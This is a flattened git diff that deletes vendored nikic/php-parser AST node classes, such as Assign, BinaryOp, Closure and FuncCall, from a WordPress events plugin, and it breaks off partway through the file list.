a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/AttributeGroup.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/AttributeGroup.php deleted file mode 100644 index b9eb588d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/AttributeGroup.php +++ /dev/null @@ -1,27 +0,0 @@ - $attributes Additional node attributes - */ - public function __construct(array $attrs, array $attributes = []) { - $this->attributes = $attributes; - $this->attrs = $attrs; - } - - public function getSubNodeNames(): array { - return ['attrs']; - } - - public function getType(): string { - return 'AttributeGroup'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ClosureUse.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ClosureUse.php deleted file mode 100644 index e313280b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ClosureUse.php +++ /dev/null @@ -1,36 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr\Variable $var, bool $byRef = false, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->byRef = $byRef; - } - - public function getSubNodeNames(): array { - return ['var', 'byRef']; - } - - public function getType(): string { - return 'ClosureUse'; - } -} - -// @deprecated compatibility alias -class_alias(ClosureUse::class, Expr\ClosureUse::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ComplexType.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ComplexType.php deleted file mode 100644 index 05a5e5ee..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/ComplexType.php +++ /dev/null @@ -1,13 +0,0 @@ - $attributes Additional attributes - */ - public function __construct($name, Expr $value, array $attributes = []) { - $this->attributes = $attributes; - $this->name = \is_string($name) ? new Identifier($name) : $name; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['name', 'value']; - } - - public function getType(): string { - return 'Const'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/DeclareItem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/DeclareItem.php deleted file mode 100644 index 55c1fe4f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/DeclareItem.php +++ /dev/null @@ -1,37 +0,0 @@ -value pair node. - * - * @param string|Node\Identifier $key Key - * @param Node\Expr $value Value - * @param array $attributes Additional attributes - */ - public function __construct($key, Node\Expr $value, array $attributes = []) { - $this->attributes = $attributes; - $this->key = \is_string($key) ? new Node\Identifier($key) : $key; - $this->value = $value; - } - - public function getSubNodeNames(): array { - return ['key', 'value']; - } - - public function getType(): string { - return 'DeclareItem'; - } -} - -// @deprecated compatibility alias -class_alias(DeclareItem::class, Stmt\DeclareDeclare::class); diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr.php deleted file mode 100644 index 8b7dbb6c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr.php +++ /dev/null @@ -1,8 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, ?Expr $dim = null, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->dim = $dim; - } - - public function getSubNodeNames(): array { - return ['var', 'dim']; - } - - public function getType(): string { - return 'Expr_ArrayDimFetch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayItem.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayItem.php deleted file mode 100644 index be9d0708..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrayItem.php +++ /dev/null @@ -1,11 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $items = [], array $attributes = []) { - $this->attributes = $attributes; - $this->items = $items; - } - - public function getSubNodeNames(): array { - return ['items']; - } - - public function getType(): string { - return 'Expr_Array'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrowFunction.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrowFunction.php deleted file mode 100644 index 0e98ce9f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ArrowFunction.php +++ /dev/null @@ -1,84 +0,0 @@ - false : Whether the closure is static - * 'byRef' => false : Whether to return by reference - * 'params' => array() : Parameters - * 'returnType' => null : Return type - * 'attrGroups' => array() : PHP attribute groups - * @param array $attributes Additional attributes - */ - public function __construct(array $subNodes, array $attributes = []) { - $this->attributes = $attributes; - $this->static = $subNodes['static'] ?? false; - $this->byRef = $subNodes['byRef'] ?? false; - $this->params = $subNodes['params'] ?? []; - $this->returnType = $subNodes['returnType'] ?? null; - $this->expr = $subNodes['expr']; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'static', 'byRef', 'params', 'returnType', 'expr']; - } - - public function returnsByRef(): bool { - return $this->byRef; - } - - public function getParams(): array { - return $this->params; - } - - public function getReturnType() { - return $this->returnType; - } - - public function getAttrGroups(): array { - return $this->attrGroups; - } - - /** - * @return Node\Stmt\Return_[] - */ - public function getStmts(): array { - return [new Node\Stmt\Return_($this->expr)]; - } - - public function getType(): string { - return 'Expr_ArrowFunction'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Assign.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Assign.php deleted file mode 100644 index dcbf84dd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Assign.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['var', 'expr']; - } - - public function getType(): string { - return 'Expr_Assign'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp.php deleted file mode 100644 index 5209a64b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['var', 'expr']; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/BitwiseAnd.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/BitwiseAnd.php deleted file mode 100644 index 4f3623fb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/AssignOp/BitwiseAnd.php +++ /dev/null @@ -1,11 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $var, Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['var', 'expr']; - } - - public function getType(): string { - return 'Expr_AssignRef'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp.php deleted file mode 100644 index 1b92bd4f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp.php +++ /dev/null @@ -1,37 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $left, Expr $right, array $attributes = []) { - $this->attributes = $attributes; - $this->left = $left; - $this->right = $right; - } - - public function getSubNodeNames(): array { - return ['left', 'right']; - } - - /** - * Get the operator sigil for this binary operation. - * - * In the case there are multiple possible sigils for an operator, this method does not - * necessarily return the one used in the parsed code. - */ - abstract public function getOperatorSigil(): string; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BitwiseAnd.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BitwiseAnd.php deleted file mode 100644 index 5930c541..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/BitwiseAnd.php +++ /dev/null @@ -1,15 +0,0 @@ -'; - } - - public function getType(): string { - return 'Expr_BinaryOp_Greater'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/GreaterOrEqual.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/GreaterOrEqual.php deleted file mode 100644 index 4d440b10..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/GreaterOrEqual.php +++ /dev/null @@ -1,15 +0,0 @@ -='; - } - - public function getType(): string { - return 'Expr_BinaryOp_GreaterOrEqual'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Identical.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Identical.php deleted file mode 100644 index e25d17cd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Identical.php +++ /dev/null @@ -1,15 +0,0 @@ ->'; - } - - public function getType(): string { - return 'Expr_BinaryOp_ShiftRight'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Smaller.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Smaller.php deleted file mode 100644 index 01e9b231..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BinaryOp/Smaller.php +++ /dev/null @@ -1,15 +0,0 @@ -'; - } - - public function getType(): string { - return 'Expr_BinaryOp_Spaceship'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BitwiseNot.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BitwiseNot.php deleted file mode 100644 index b7175a7a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BitwiseNot.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_BitwiseNot'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BooleanNot.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BooleanNot.php deleted file mode 100644 index c66d2332..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/BooleanNot.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_BooleanNot'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/CallLike.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/CallLike.php deleted file mode 100644 index 2af2245b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/CallLike.php +++ /dev/null @@ -1,35 +0,0 @@ - - */ - abstract public function getRawArgs(): array; - - /** - * Returns whether this call expression is actually a first class callable. - */ - public function isFirstClassCallable(): bool { - $rawArgs = $this->getRawArgs(); - return count($rawArgs) === 1 && current($rawArgs) instanceof VariadicPlaceholder; - } - - /** - * Assert that this is not a first-class callable and return only ordinary Args. - * - * @return Arg[] - */ - public function getArgs(): array { - assert(!$this->isFirstClassCallable()); - return $this->getRawArgs(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast.php deleted file mode 100644 index c2751de4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast.php +++ /dev/null @@ -1,25 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Array_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Array_.php deleted file mode 100644 index 471cb824..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Cast/Array_.php +++ /dev/null @@ -1,11 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node $class, $name, array $attributes = []) { - $this->attributes = $attributes; - $this->class = $class; - $this->name = \is_string($name) ? new Identifier($name) : $name; - } - - public function getSubNodeNames(): array { - return ['class', 'name']; - } - - public function getType(): string { - return 'Expr_ClassConstFetch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Clone_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Clone_.php deleted file mode 100644 index d85bc9ab..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Clone_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_Clone'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Closure.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Closure.php deleted file mode 100644 index 0680446f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Closure.php +++ /dev/null @@ -1,86 +0,0 @@ - false : Whether the closure is static - * 'byRef' => false : Whether to return by reference - * 'params' => array(): Parameters - * 'uses' => array(): use()s - * 'returnType' => null : Return type - * 'stmts' => array(): Statements - * 'attrGroups' => array(): PHP attributes groups - * @param array $attributes Additional attributes - */ - public function __construct(array $subNodes = [], array $attributes = []) { - $this->attributes = $attributes; - $this->static = $subNodes['static'] ?? false; - $this->byRef = $subNodes['byRef'] ?? false; - $this->params = $subNodes['params'] ?? []; - $this->uses = $subNodes['uses'] ?? []; - $this->returnType = $subNodes['returnType'] ?? null; - $this->stmts = $subNodes['stmts'] ?? []; - $this->attrGroups = $subNodes['attrGroups'] ?? []; - } - - public function getSubNodeNames(): array { - return ['attrGroups', 'static', 'byRef', 'params', 'uses', 'returnType', 'stmts']; - } - - public function returnsByRef(): bool { - return $this->byRef; - } - - public function getParams(): array { - return $this->params; - } - - public function getReturnType() { - return $this->returnType; - } - - /** @return Node\Stmt[] */ - public function getStmts(): array { - return $this->stmts; - } - - public function getAttrGroups(): array { - return $this->attrGroups; - } - - public function getType(): string { - return 'Expr_Closure'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClosureUse.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClosureUse.php deleted file mode 100644 index b3956172..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ClosureUse.php +++ /dev/null @@ -1,11 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Name $name, array $attributes = []) { - $this->attributes = $attributes; - $this->name = $name; - } - - public function getSubNodeNames(): array { - return ['name']; - } - - public function getType(): string { - return 'Expr_ConstFetch'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Empty_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Empty_.php deleted file mode 100644 index d2f30506..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Empty_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_Empty'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Error.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Error.php deleted file mode 100644 index 43010ac4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Error.php +++ /dev/null @@ -1,30 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $attributes = []) { - $this->attributes = $attributes; - } - - public function getSubNodeNames(): array { - return []; - } - - public function getType(): string { - return 'Expr_Error'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ErrorSuppress.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ErrorSuppress.php deleted file mode 100644 index 32625a23..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/ErrorSuppress.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_ErrorSuppress'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Eval_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Eval_.php deleted file mode 100644 index 5120b1b4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Eval_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_Eval'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Exit_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Exit_.php deleted file mode 100644 index cf002466..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Exit_.php +++ /dev/null @@ -1,33 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(?Expr $expr = null, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - } - - public function getSubNodeNames(): array { - return ['expr']; - } - - public function getType(): string { - return 'Expr_Exit'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/FuncCall.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/FuncCall.php deleted file mode 100644 index 0b85840d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/FuncCall.php +++ /dev/null @@ -1,38 +0,0 @@ - Arguments */ - public array $args; - - /** - * Constructs a function call node. - * - * @param Node\Name|Expr $name Function name - * @param array $args Arguments - * @param array $attributes Additional attributes - */ - public function __construct(Node $name, array $args = [], array $attributes = []) { - $this->attributes = $attributes; - $this->name = $name; - $this->args = $args; - } - - public function getSubNodeNames(): array { - return ['name', 'args']; - } - - public function getType(): string { - return 'Expr_FuncCall'; - } - - public function getRawArgs(): array { - return $this->args; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Include_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Include_.php deleted file mode 100644 index e1187b19..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Include_.php +++ /dev/null @@ -1,38 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, int $type, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - $this->type = $type; - } - - public function getSubNodeNames(): array { - return ['expr', 'type']; - } - - public function getType(): string { - return 'Expr_Include'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Instanceof_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Instanceof_.php deleted file mode 100644 index a2783cb3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Instanceof_.php +++ /dev/null @@ -1,35 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Expr $expr, Node $class, array $attributes = []) { - $this->attributes = $attributes; - $this->expr = $expr; - $this->class = $class; - } - - public function getSubNodeNames(): array { - return ['expr', 'class']; - } - - public function getType(): string { - return 'Expr_Instanceof'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Isset_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Isset_.php deleted file mode 100644 index 4f80fff7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Isset_.php +++ /dev/null @@ -1,29 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $vars, array $attributes = []) { - $this->attributes = $attributes; - $this->vars = $vars; - } - - public function getSubNodeNames(): array { - return ['vars']; - } - - public function getType(): string { - return 'Expr_Isset'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/List_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/List_.php deleted file mode 100644 index 496b7b38..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/List_.php +++ /dev/null @@ -1,34 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(array $items, array $attributes = []) { - $this->attributes = $attributes; - $this->items = $items; - } - - public function getSubNodeNames(): array { - return ['items']; - } - - public function getType(): string { - return 'Expr_List'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Match_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Match_.php deleted file mode 100644 index cd028a2d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/Match_.php +++ /dev/null @@ -1,32 +0,0 @@ - $attributes Additional attributes - */ - public function __construct(Node\Expr $cond, array $arms = [], array $attributes = []) { - $this->attributes = $attributes; - $this->cond = $cond; - $this->arms = $arms; - } - - public function getSubNodeNames(): array { - return ['cond', 'arms']; - } - - public function getType(): string { - return 'Expr_Match'; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/MethodCall.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/MethodCall.php deleted file mode 100644 index 2703c75d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/MethodCall.php +++ /dev/null @@ -1,45 +0,0 @@ - Arguments */ - public array $args; - - /** - * Constructs a function call node. - * - * @param Expr $var Variable holding object - * @param string|Identifier|Expr $name Method name - * @param array $args Arguments - * @param array $attributes Additional attributes - */ - public function __construct(Expr $var, $name, array $args = [], array $attributes = []) { - $this->attributes = $attributes; - $this->var = $var; - $this->name = \is_string($name) ? new Identifier($name) : $name; - $this->args = $args; - } - - public function getSubNodeNames(): array { - return ['var', 'name', 'args']; - } - - public function getType(): string { - return 'Expr_MethodCall'; - } - - public function getRawArgs(): array { - return $this->args; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/New_.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/New_.php deleted file mode 100644 index eedaaa1e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/New_.php +++ /dev/null @@ -1,40 +0,0 @@ - Arguments */ - public array $args; - - /** - * Constructs a function call node. - * - * @param Node\Name|Expr|Node\Stmt\Class_ $class Class name (or class node for anonymous classes) - * @param array $args Arguments - * @param array $attributes Additional attributes - */ - public function __construct(Node $class, array $args = [], array $attributes = []) { - $this->attributes = $attributes; - $this->class = $class; - $this->args = $args; - } - - public function getSubNodeNames(): array { - return ['class', 'args']; - } - - public function getType(): string { - return 'Expr_New'; - } - - public function getRawArgs(): array { - return $this->args; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafeMethodCall.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/Node/Expr/NullsafeMethodCall.php deleted file mode 100644 index 